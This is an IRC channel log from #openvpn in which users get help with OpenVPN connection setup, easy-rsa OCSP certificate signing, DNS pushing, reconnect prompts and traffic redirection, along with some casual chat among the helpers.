03:57 < Lope> maybe my problem if the VPN connection is happening with UDP
03:57 -!- g0uZ [~NickServ@193.253.170.23] has joined #openvpn
03:57 < Lope> and I haven't opened ports on my router for UDP
03:57 < Lope> how can I connect with a TCP connection?
03:58 < Lope> I'm doing this simple connection: SERVER openvpn --dev tun1 --ifconfig 10.9.8.1 10.9.8.2
03:58 < Lope> CLIENT openvpn --remote SERVER_IP --dev tun1 --ifconfig 10.9.8.2 10.9.8.1
04:05 -!- xrosnight [~quassel@183.234.77.221] has quit [Ping timeout: 264 seconds]
04:08 < Lope> I solved the problem guys
04:08 < Lope> the problem is I was using a UDP connection but had not opened a UDP port on my router. TCP solves that problem.
04:13 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
04:14 < Lope> great. time to do something useful.
04:14 < Lope> so what should I do about this warning? OpenVPN 2.1 requires '--script-security 2' or higher to call user-defined scripts or executables
04:16 -!- Laverne [~Laverne@devilsown.net] has left #openvpn []
04:16 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has quit [Quit: Tension, apprehension, and dissension have begun.]
04:19 -!- local [~local@sv1de.element-system.de] has joined #openvpn
04:20 < local> I have a really weird error message from a Win7 64bit OpenVPN client and cannot debug that. Any help appreciated --> http://paste.ubuntu.com/6513698/
04:20 < local> never saw that before and do not know what this is related to.
04:29 -!- local [~local@sv1de.element-system.de] has left #openvpn []
04:35 -!- Lope [~Lope@105-236-184-15.access.mtnbusiness.co.za] has quit [Ping timeout: 260 seconds]
04:49 -!- Lope [~Lope@162.218.234.57] has joined #openvpn
04:51 -!- smue [smue@nostromo.smue.info] has quit [Ping timeout: 260 seconds]
04:54 -!- smue [smue@nostromo.smue.info] has joined #openvpn
04:59 -!- totaltec [totaltec@2.138.247.145] has joined #openvpn
05:03 -!- g0uZ [~NickServ@193.253.170.23] has quit [Ping timeout: 240 seconds]
05:27 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
05:30 -!- Devastator [~devas@177.18.196.246] has joined #openvpn
05:51 -!- media [~media@host212-140-126-221.range212-140.btcentralplus.com] has joined #openvpn
05:51 < media> Hello
05:52 < media> Does anyone use KVpnc?
05:52 < media> here
05:58 < media> :(
06:10 -!- media [~media@host212-140-126-221.range212-140.btcentralplus.com] has left #openvpn ["Leaving"]
06:11 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
06:13 -!- iokill [~iokill@91.114.127.102] has joined #openvpn
06:13 -!- CatKiller [~catkiller@unaffiliated/catkiller] has left #openvpn ["Leaving"]
06:13 -!- CatKiller [~catkiller@unaffiliated/catkiller] has joined #openvpn
06:14 -!- CatKiller [~catkiller@unaffiliated/catkiller] has left #openvpn ["Leaving"]
06:19 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
06:21 -!- s0meone [someone@2600:3c01::f03c:91ff:fedf:feb8] has quit [Ping timeout: 240 seconds]
06:22 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Ping timeout: 245 seconds]
06:24 -!- heraclitus [~heraclitu@77.74.193.82] has joined #openvpn
06:24 -!- heraclitus [~heraclitu@77.74.193.82] has quit [Changing host]
06:24 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
06:33 -!- s0meone [someone@2600:3c01::f03c:91ff:fedf:feb8] has joined #openvpn
06:49 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:17 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
07:27 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 260 seconds]
07:27 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has joined #openvpn
07:35 -!- Devastator [~devas@177.18.196.246] has quit [Changing host]
07:35 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
07:38 -!- grep0r [grep0r@bitcoinshell.mooo.com] has joined #openvpn
07:38 < grep0r> !weclome
07:39 <@dazo> !welcome
07:39 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
07:39 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
07:40 < grep0r> !goal
07:40 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
07:41 < grep0r> Hi all i'd like to ask if it is possible as user to run OpenVPN without root and if that affect something, thank you.
07:42 < grep0r> I mean client to connect to a VPN service
07:55 -!- g0uZ [~NickServ@621591080.ipsat.francetelecom.net] has joined #openvpn
08:01 -!- g0uZ [~NickServ@621591080.ipsat.francetelecom.net] has quit [Ping timeout: 264 seconds]
08:09 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has quit [Ping timeout: 246 seconds]
08:10 -!- g0uZ [~NickServ@621591080.ipsat.francetelecom.net] has joined #openvpn
08:13 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has joined #openvpn
08:14 -!- g0uZ [~NickServ@621591080.ipsat.francetelecom.net] has left #openvpn []
08:19 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has joined #openvpn
08:21 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has quit [Ping timeout: 252 seconds]
08:22 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
08:24 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 260 seconds]
08:24 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 272 seconds]
08:26 -!- takamichi [~takamichi@85.12.8.105] has joined #openvpn
08:26 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
08:37 <+pekster> grep0r: You can change effective UID/GID by using the --uid/--gid options (see the manpage) but this usually requires some of the --persist-* options and won't allow you to do a "soft restart" if you get disconnected unless you have configured your server to always hand out the same IP (see: !static)
08:38 <+pekster> The problem is that once you "give up" that root access, you can't get it back, and root is required to do things like set addressing and routes. You _might_ be able to use some clever script hooks (see: !scripts) that have the suid bit set, but that's a bit advanced
08:39 -!- u0m3_ is now known as u0m3
08:41 < grep0r> pekster, i mean about client side run at home client without root privledge
08:42 < plaisthos> grep0r: that is about client side
08:42 < grep0r> I re-read it thanks a lot, that make sense
08:43 < grep0r> !static
08:43 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
08:52 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
08:54 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
09:03 -!- suprsonic [~suprsonic@services.landonsanderson.com] has joined #openvpn
09:04 < suprsonic> has anyone setup easy-rsa to include a ocsp template?
09:09 <+pekster> suprsonic: Easy-RSA 3 (just recently released its 3.0.0-rc1 version) supports arbitrary extensions, so you can easily add in the AIA there
09:09 < suprsonic> +pekster yeah, Im taking at a look at that now, but having a bit of trouble understanding the logic
09:10 <+pekster> I'm not sure that does a whole lot of good in openvpn unless you're planning to use a --tls-verify script as openvpn itself won't do any OCSP checks
09:10 < suprsonic> hehe well Im not using easy-rsa for openvpn, but rather DMVPN
09:11 < suprsonic> in anycase I was under the assumption that OCSP was supported in 2.2
09:12 <+pekster> Nope, and in fact arbitrary extensions in the 2.x series is a bit of a pain since you effectively need to hack the .cnf file
09:12 <+pekster> That was the whole point of de-coupling extensions from the config file with the x509-types/ dir in the 3.x code
09:13 <+pekster> https://github.com/OpenVPN/easy-rsa/blob/v3.0.0-rc1/doc/EasyRSA-Advanced.md#advanced-extension-handling
09:13 <@vpnHelper> Title: easy-rsa/doc/EasyRSA-Advanced.md at v3.0.0-rc1 · OpenVPN/easy-rsa · GitHub (at github.com)
09:13 < suprsonic> +pekster so I've created the ocsp file in the x509-type folder, but how do I execute the easyrsa command to it includes the expension?
09:13 < suprsonic> extension even
09:13 <+pekster> ocsp "file" ??
09:14 <+pekster> OCSP is nothing but a URL. Certs that suggest an OCSP server do so with the AIA extension attribute
09:14 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has left #openvpn []
09:14 <+pekster> So you just need to add the AIA extension into probably the 'COMMON' file as indicated in that doc I just linked, though you could choose to include it on a case-by-case basis too based on the type of cert you're signing
09:14 < suprsonic> well I was refering to the cert needed int the creation of a ocsp daemon
09:15 < suprsonic> from what I read a new stanza has to be created
09:15 <+pekster> I'm not sure offhand what attributes it needs, but you should be able to learn from the existing ca, client, and server types how the extensions work
09:15 < suprsonic> for ocsp cert signgin
09:15 <+pekster> Right, neither am I ;)
09:16 < suprsonic> so I've created the template in the folder
09:16 < suprsonic> but how do I apply it to a new signing?
09:16 <+pekster> Oh, so supply it as the 'type' argument
09:17 < suprsonic> correct
09:17 < suprsonic> I dont see that in the easyrsa help output
09:17 <+pekster> So, `./easyrsa sign ocsp shortname` and it'll use your ocsp template
09:17 <+pekster> Each command has its own help, otherwise the help would take 100's of lines
09:17 <+pekster> `./easyrsa help sign`
09:18 < suprsonic> oh... do I can create the key and sign it locally with a type then
09:18 < suprsonic> hmmmmmm
09:18 <+pekster> Exactly :)
09:18 < suprsonic> rather I can't
09:18 < suprsonic> I really like how easyrsa does all of that already for you
09:18 <+pekster> Don't even need to create the key locally; you can import/sign CSRs
09:18 < suprsonic> okay, makes since
09:18 < suprsonic> thanks much for the help pekster
09:20 -!- haxxa [~Harrison@198.143.0.217] has quit [Ping timeout: 246 seconds]
09:20 <+pekster> Sure, and if there's a workflow that doesn't do what you expect I'm curious to know what it is; I'm the principle author of the v3 codebase, and the entire purpose of the re-write was to make it both easier to use and more flexible
09:20 <+pekster> While some of the concepts chagned a bit, the idea is to make it "as easy as possible" (as easy as X.509 ever gets, that is) to extend it
09:20 < suprsonic> well I appreciate the work you've put into it
09:21 <+pekster> I always hated manually making changes to openssl's cnf file, so I wrote a way to avoid it :P
09:21 < suprsonic> I've had a rough go at trying to impliment a PKI solution together that supports revocation
09:21 < suprsonic> came across easy-rsa and was really impressed with what I saw
09:21 -!- haxxa [~Harrison@198.143.0.217] has joined #openvpn
09:21 <+pekster> Yup, it's a tricky problem. Stand-alone CRLs work fine, but then you need a distribution method. OCSP works, but clients need logic about how to treat a cert that is valid but OCSP can't be reached
09:22 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
09:22 <+pekster> The non-OCSP method is to have the client periodically download CRLs f.ex from a CDP, and you can see a CDP example in the 'COMMON' x509-types/ currently
09:22 < suprsonic> so the idea is to use the certs created in easy-rsa in DMVPN project Im doing with cisco routers
09:22 < suprsonic> and they support ocsp
09:22 < suprsonic> so I was planning on using openssl's builtin ocsp server
09:23 < suprsonic> yeah, so I've added the AIA to the COMMON file
09:23 < suprsonic> that part runs like a champ
09:23 < suprsonic> just needed to create a keypair for the ocsp daemon
09:23 <+pekster> Okay, so all that's left is making the cert that your ocsp daemon uses "valid" by the clients, gotcha
09:23 < suprsonic> correct
09:24 < suprsonic> again I really appaciate the help and thanks for easy-rsa
09:24 < suprsonic> by far the easiest solution I've come across
09:24 < suprsonic> tried Windows PKI, phpca, phpki, openca etc etc etc
09:25 < suprsonic> all were a disaster
09:25 -!- takamichi [~takamichi@85.12.8.105] has quit [Ping timeout: 245 seconds]
09:25 <+pekster> RFC6960 seems to be the de-facto reference here. And this is possibly useful enough to be included in the distribution too, either as an ocsp type, or at least in a 'contrib/' dir for users with this usecase
09:25 < suprsonic> agreed
09:25 <+pekster> I'm quite happy to accept useful improvements/patches, especially if it means someone else doesn't have to read all of RFC6960 to do it ;)
09:25 < suprsonic> hahaha
09:26 < suprsonic> I'll get back to you on that one  ;)
09:26 -!- haxxa [~Harrison@198.143.0.217] has quit [Ping timeout: 240 seconds]
09:26 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
09:28 -!- haxxa [~Harrison@198.143.0.217] has joined #openvpn
09:29 < suprsonic> is ocsp slated to be base?
09:29 <+pekster> base?
09:29 < suprsonic> natively supported
09:30 < suprsonic> rather than this script business
09:31 <+pekster> There exist other solutions in C for instance; the goal of easy-rsa was to make a POSIX shell supported frontend since all Unix-alikes already have this environment set up, and generally also provide (or make it easy to get) openssl
09:32 < suprsonic> Im refering to openvpn at this point sorry
09:32 < suprsonic> you indicated that openvpn supports it via a hackish solution
09:33 <+pekster> Well, --tls-verify isn't really a hack; all the script stuff is basically just a hook to "some code you write" that can determine the fate of a connection attempt
09:33 <+pekster> If you want a more formal solution, feel free to look at the plugin API that might provide a cleaner way to integrate OCSP by calling a plugin
09:33 < suprsonic> right
09:34 <+pekster> That's probably the best bet if you wanted a C-solution; with a clean code contribution it's easy enough to get involved on the openvpn-devel mailing list and have the code reviewe and, ultimately, included in the distribution
09:35 <+pekster> Plugins have the wonderful advantage of not adding "yet another --option" to openvpn, becuase we have an awful lot of those today ;)
09:35 < suprsonic> I'll certainly take a look at it
09:35 <+pekster> If you're looking to get involved in code development, the openvpn-devel mailing list and #openvpn-devel here are useful resources too
09:36 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Excess Flood]
09:37 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
09:37 <+pekster> This page has helpful resource links too: http://openvpn.net/index.php/open-source/345-openvpn-project.html
09:37 <@vpnHelper> Title: OpenVPN project (at openvpn.net)
09:38 < suprsonic> cheers
09:40 -!- haxxa [~Harrison@198.143.0.217] has quit [Quit: ZNC - http://znc.in]
09:40 -!- haxxa [~Harrison@198.143.0.217] has joined #openvpn
09:40 -!- master_of_master [~master_of@p4FF24FD6.dip0.t-ipconnect.de] has joined #openvpn
09:44 -!- master_o1_master [~master_of@p4FD7B875.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
09:47 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Ping timeout: 272 seconds]
09:50 -!- haxxa [~Harrison@198.143.0.217] has quit [Ping timeout: 246 seconds]
09:59 -!- Sembei [~Sembei@unaffiliated/sembei] has joined #openvpn
09:59 < suprsonic> pekster ocsp up and running like a champ
09:59 < suprsonic> thanks for the help again
10:00 <+pekster> Sure, no problem. Mind sharing the ocsp extensions you needed? I'm curious :)
10:00 < suprsonic> http://pastebin.com/LupXdUds
10:03 <+pekster> Neat, and easy enough to add in support for. If you'd like a 'thanks to' note in the ChangeLog feel free to let me know the name and optional email you'd like (PM is fine, though by nature of a ChangeLog on a FOSS project it'll end up semi-public anyway)
10:06 < EugeneKay> Openssl has a built in ocsp server?
10:06 < EugeneKay> How the hell do you run it
10:07 <+pekster> https://www.openssl.org/docs/apps/ocsp.html#OCSP_SERVER_OPTIONS
10:07 <@vpnHelper> Title: OpenSSL: Documents, ocsp(1) (at www.openssl.org)
10:07 < rob0> openssl hell [ options ... ]
10:08 < rob0> see the hell(1) man page
10:08 <+pekster> https://xkcd.com/963/ (substitute "openssl docs" for "xorg.conf" ;)
10:08 <@vpnHelper> Title: xkcd: X11 (at xkcd.com)
10:16 <@dazo> :( :( :(
10:16 <@dazo> $ man hell
10:16 <@dazo> No manual entry for hell
10:16  * dazo wonders if the entry is automated ........
10:17 <+pekster> In true openssl style, that one is "to be documented" ;)
10:17 < rob0> hehe
10:18 -!- iokill [~iokill@91.114.127.102] has quit [Ping timeout: 260 seconds]
10:23 -!- dimitry7 [~antonello@38.124.174.31] has joined #openvpn
10:39 -!- kubbing_ [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has joined #openvpn
10:42 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has quit [Ping timeout: 272 seconds]
10:48 < suprsonic> pekster I'd probably want to test it completely before you add support for it  :)
10:49 <+pekster> Sure; feel free to open a github pull request too if you find that easier. For now I just stashed that snippit on a local development branch so I can poke at it
10:49 <+pekster> One of git's many great features; just throw random bits of code on branches for later reference
10:50 < suprsonic> nice
10:57 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Read error: Connection reset by peer]
11:00 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
11:01 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:02 -!- esde [~esde@unaffiliated/esde] has quit [Quit: ZNC - http://znc.in]
11:03 -!- esde [~esde@162.218.209.203] has joined #openvpn
11:03 -!- esde [~esde@162.218.209.203] has quit [Changing host]
11:03 -!- esde [~esde@unaffiliated/esde] has joined #openvpn
11:11 -!- KrissO- [~krisso@46.109-247-25.customer.lyse.net] has joined #openvpn
11:11 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has quit [Disconnected by services]
11:11 -!- KrissO- is now known as KrissO
11:16 -!- kubbing_ [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
11:16 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has joined #openvpn
11:16 < suprsonic> yeah so far so good pekster
11:16 < suprsonic> openssl cli and test respond with it revoked
11:16 < suprsonic> going to test a https server next
11:17 < hjohnson> ok... OpenVPN over a double satellite hop is painful... not going to try that this time.
11:25 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has quit [Ping timeout: 260 seconds]
11:27 -!- xBytez [~xBytez@unaffiliated/xbytez] has quit [Ping timeout: 272 seconds]
11:31 -!- speed_racer84 [~speed_rac@172.56.14.201] has joined #openvpn
11:31 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
11:32 -!- heraclitus [~heraclitu@77.74.193.82] has joined #openvpn
11:32 -!- heraclitus [~heraclitu@77.74.193.82] has quit [Changing host]
11:32 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
11:44 -!- xBytez [~xBytez@unaffiliated/xbytez] has joined #openvpn
11:55 < EugeneKay> ANYTHING over satellite is painful ;-)
12:04 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has quit [Remote host closed the connection]
12:05 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has joined #openvpn
12:09 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has quit [Ping timeout: 260 seconds]
12:11 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:18 < Pei> The OpenVPN TAP-Win32 adapter when connected to the vpn server shows a connection speed of 10mbit, is there a way to get more bandwidth out of it?
12:19 <+pekster> It's not limited to 10Mbps; ignore the erroneous value
12:19 < Pei> ah thank you
12:24 -!- MTecknology [~Mike@nginx/adept/mtecknology] has joined #openvpn
12:26 < MTecknology> I have an openvpn server (on a pfsense box at home). I have another server that connects as a client. It pretty much works exactly like I expect until it decides to disconnect and asks for an auth user. Any connections to the inside are severed and I tend to lose things.
12:26 -!- eval-_ is now known as eval-
12:27 < MTecknology> I'm wondering if there is some obvious thing I probably configured incorrectly. Also, would it be possible to have dns for a specific domain resolved by that server when I'm connected via vpn?
12:28 < MTecknology> In my case, if the server connects to the network via openvpn, I'd like lustfield.net to be resolved by 10.41.0.1. Mostly, I need to figure out this disconnecting issue.
12:30 <+pekster> For DNS read: !pushdns
12:31 <+pekster> For reconnect stuff, see: !keepalive for the timeout detection. Sounds like you're using --auth-nocache, and yes, this means you'll be prompted again for user/pass. Clearly don't use that option if you don't want it
12:32 < MTecknology> !pushdns
12:32 <@vpnHelper> "pushdns" is (#1) push dhcp-option DNS a.b.c.d to push dns to the client or (#2) For pushing DNS to a Windows client, see: !windns or (#3) Unix-alikes are required to process the env-var in an --up script; read about --dhcp-option in the manpage or (#4) For distros that use resolvconf you can try the update-resolv-conf script under the contrib/ source dir
12:32 < MTecknology> !keepalive
12:32 <@vpnHelper> "keepalive" is (#1) see --keepalive in the manual for how to make clients retry connecting if they get disconnected. or (#2) basically it is a wrapper for managing --ping and --ping-restart in server/client mode or (#3) if you use this, don't use --tls-exit and also avoid --single-session and --inactive
12:33 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
12:34 <+pekster> !learn keepalive as Also beware of --auth-nocache for automated reconnects
12:34 <@vpnHelper> Joo got it.
12:35 < MTecknology> pekster: so the server I'm connecting to needs to do the push "dhcp-option DNS 10.41.0.1" ?
12:35 < MTecknology> ""Tue Dec  3 12:35:21 2013 WARNING: this configuration may cache passwords in memory -- use the auth-nocache option to prevent this"" .. that's why I put that in there, probably..
12:35 < MTecknology> THANKS!!!
12:37 <+pekster> MTecknology: Yes, you either need to push DNS from the server or use --dhcp-option locally. Mind non-Windows needs client-side scripts to properly do something usefeul
12:37 < MTecknology> nice
12:38 < MTecknology> thanks hugely, I bet you just fixed everything I was whining about. :)
12:39 -!- speed_racer84 [~speed_rac@172.56.14.201] has quit [Ping timeout: 248 seconds]
12:42 -!- u0m3_ [~u0m3@92.80.74.24] has joined #openvpn
12:43 < MTecknology> heh... https://community.openvpn.net/openvpn/ticket/225   That's worth watching
12:43 <@vpnHelper> Title: #225 ('--auth-user-pass FILE' and '--auth-nocache' problem) – OpenVPN Community (at community.openvpn.net)
12:44 -!- debbie10t [~ma1com10t@host-92-20-13-251.as13285.net] has joined #openvpn
12:45 -!- u0m3 [~u0m3@92.80.93.41] has quit [Ping timeout: 252 seconds]
12:45 < debbie10t> hi - is there some known issue with OpenVPN and ChromeOS ?
12:45 < debbie10t> This particular post is troubling me:
12:46 < debbie10t> https://forums.openvpn.net/topic10152.html#p35695
12:46 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN AS and Chromebook : Access Server (at forums.openvpn.net)
12:46 <+pekster> AS isn't us
12:46 < debbie10t> The post ought to be split as the poster is not using AS
12:47 <+pekster> Yes, splitting AS trash off of the community forums is much appreciated :)
12:47 < debbie10t> yes - the post needs top be split - I have looked up the links and the OP is not using AS
12:47  * pekster is so sick of seeing corp rely on the community, including for support triage
12:47 < debbie10t> lol
12:47 <+pekster> If they want the community to do their support work they can pay us like a proper company
12:47 < debbie10t> ok - but is there any known issue with openvpn and chromeos ?
12:48 <+pekster> No tickets with "chromeos" in the bug tracker, so I'll say "no"
12:48 < debbie10t> ok - fair play .. we will see what the OP can provide in further posts
12:48 < debbie10t> splitting to configuration
12:49 <+pekster> Is that openvpn?
12:49 <+pekster> The entire rest of it is AS, so I'm not convinced this has anything to do with openvpn at all
12:49 <+pekster> wtf is a ".onc" file?
12:49 < debbie10t> yes - i am sure the OP is using standard Openvpn not AS
12:50 < debbie10t> not sure about .onc .. maybe chromeos
12:50 <+pekster> http://blog.thestateofme.com/2013/01/19/chromebook-a-week-on-the-road/
12:50 <+pekster> Please don't split that into the community forums
12:50 <+pekster> It's AS crap
12:51 < debbie10t> ok ..
12:51 <+pekster> Um, I think
12:51 < debbie10t> i wasnot sure
12:51 <+pekster> I guess I don't know
12:51 < debbie10t> the OP says about developer mode .. thats not openvpn .. maybe it is AS
12:51 <+pekster> No, that's chromeOS I think
12:51 <+pekster> http://code.google.com/p/chromium/issues/detail?id=217624#c16
12:51 <@vpnHelper> Title: Issue 217624 - chromium - Chrome OS OpenVPN does not support various configurations options such as tlsauth - An open-source project to help move the web forward. - Google Project Hosting (at code.google.com)
12:53 <+pekster> So yea, if this is separate from AS feel free to split it off I suppose; it couldn't hurt to clarify that so the poster doesn't loose focus if they intended it to be AS-related
12:53  * pekster can't tell
12:53 <+pekster> If it isn't AS related it was foolish to post in a topic that is (which is why we really need _separate_ forums for this. Stupid conflict of interest)
12:54 < debbie10t> yeah .. i am going to sticky that comment of your soon ..
12:55 < debbie10t> I will ask the OP if it is AS or not.
12:55 <+pekster> After reading most of that chromium bugreport this seems to be a flaw in chromeOS anyway
12:56 <+pekster> IMO, chromeOS support is as awful as network-manager's
12:57 <+pekster> http://code.google.com/p/chromium/issues/detail?id=217624#c30
12:57 <@vpnHelper> Title: Issue 217624 - chromium - Chrome OS OpenVPN does not support various configurations options such as tlsauth - An open-source project to help move the web forward. - Google Project Hosting (at code.google.com)
12:57 <+pekster> Looks like they are working to fix it though
12:58 < debbie10t> ok - thanks pekster
12:59 <+pekster> It's clearly low-priority for upstream though
13:00 <+pekster> (upstream from a user's view; downstream from us ;)
13:00 <+pekster> The 2.1.12 version reference doesn't inspire confidence either
13:01 <+pekster> So yea, do what you want with the topic; if you determine it's non-AS, move it as required
13:02 < debbie10t> Yah .. chromebook for xmas .. headache for new year
13:02 <+pekster> Same issue with the iPhones; OpenVPN doesn't work on the iPhone; "Connect" does, but that's different
13:02 <+pekster> At least google is "sort of trying"
13:03 <@krzee> i hope one day we get to release openvpn 4.20
13:03 <@krzee> unlikely with out versioning, but i would enjoy it :D
13:03 <@krzee> with our*
13:05 <+pekster> I didn't mean to say you "absoutely shouldn't" move the topic earlier; I'm just very alergic recently to doing corp's support work for them
13:06 < debbie10t> no prob .. i have leant to be a bit more patient with them on the forum
13:07 < debbie10t> learnt* learned ???
13:07 <+pekster> Sharing a forum is a bad idea anyway, but a split (if that's the solution) will take coordination & time. It's just silly to have the corp side as a forum tree under a banner that reads "Community Support Forum"
13:08 < debbie10t> websters time
13:08 <+pekster> More confusion to useres
13:08 <+pekster> That, or since corp is so fond of calling it "community" maybe openvpn gets renamed to "CommunityVPN" or something. "ComVPN". or how about "CommieVPN" ;)
13:09 <+pekster> How's _that_ for a fork name :D
13:09 < debbie10t> at least if there was a dedicated mod for access-server
13:09 < debbie10t> commievpn .. sound g-r-r-reat
13:09 < rob0> In Soviet Russia, CommieVPN fork YOU
13:09 <+pekster> "mod"? As corporate software AS can't link against GPL code without also being GPL itself
13:10 <+pekster> Right now AS is using a 2.2 GPL openvpn with propritery wrappers around it, so no linking and thus no license issue
13:10 <+pekster> Connect is completely different and merely speaks the on-wire protocol; it's a completely different (and thus non-Free, non-Open) codebase with its own, possibly unique, bugs/features/etc
13:11 <+pekster> And of course all of these products have the misfortune to share the "OpenVPN" name, confusing the hell out of users
13:11 <+pekster> rob0: :)
13:12 <+pekster> ./communityvpn is just a long name for a binary, but at least it would be unique :)
13:12 -!- MTecknology [~Mike@nginx/adept/mtecknology] has left #openvpn ["You saw me, but now you don't."]
13:12 < rob0> BTW, congratulations are in order: /me is now gainfully employed by a Major Internet Presence! :)
13:13 <+pekster> Do they offer IPv6? :P
13:13 < debbie10t> congrats @ rob0
13:14 < rob0> hehe, one of the things I will be doing is assisting with ipv6 migrations
13:14 < rob0> thanks
13:14 < debbie10t> u need an advisor ? ;)
13:15 <+pekster> At least it's not an ISP that uses the excuse "our customers don't need it becuase nothing is available over it" that we've heard for the last 5-10 years
13:16 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
13:16 < rob0> Actually not an ISP at all. I'd rather not say yet, but it is definitely an entity you have heard of.
13:19 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
13:21 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:25 <@krzee> congrats!
13:30 -!- webczat [~webczat@185-25-149-178.greendata.pl] has joined #openvpn
13:30 < webczat> Hello!
13:31 < webczat> How to be sure that the vpn connection is directed through the internet? my problem is that I'm using the TAP adapter and dhcp, so dhc provides routers and I cannot use redirect-gateway. also there is no redirect-gateway for ipv6.
13:31 < webczat> erm
13:32 < webczat> how to be sure that all traffic is directed through vpn, I meant
13:32 <@krzee> you are bridging i take it?
13:32 <@krzee> heres my advice:
13:32 <@krzee> switch to tun,
13:33 <@krzee> !redirect
13:33 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
13:33 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
13:34 <+pekster> You "can" still use --redirect-gateway with tap, but you shouldn't and are likely to be told not to do that here. Bridging is advanced and since you can't redirect L2 to the Internet anyway, utterly pointless here
13:34 < webczat> I'm not bridging. but setting the network as ethernet-like
13:34 <+pekster> Use tun and --topology subnet. More info from the bot at: !topology
13:34 < webczat> it works. I resolved the roblem partially on windows by setting metric to 1 on interface. and I'm directed through the vpn now
13:35 <@krzee> you dont have to take our advice if you choose not to
13:35 <+pekster> Um, don't do that. local physical-link DHCP renewals mess with remote gateays
13:35 <@krzee> but we're telling you the right way (?)
13:35 <+pekster> Multi-homing falls into the advanced networking category, and doing it with "two" DHCP servers is a setup for obscure problems
13:36 < webczat> hmm, windows respects metrics. I didn't do redirect-gateway. my vpn interface has low metric. even renewing the lease will set the metric to a higher value I think
13:36 <@krzee> heh
13:36 < webczat> so the old def gateway is still there, but I also don't do 0.0.0.0/1 etc
13:37 < webczat> and still works. just not sure what will happen in the linux case. I would like to force metrics 1 unconditionally.
13:37 < webczat> I'm sure that it goes through the vpn, because I tried to disable forwarding in the middle of a voice session for few seconds
13:38 <@krzee> enjoy, time for me to run along :D
13:38 < webczat> The onlly route I'm pushing is the route to the internet when going to the vpn server itself, rest is controlled by dhcp
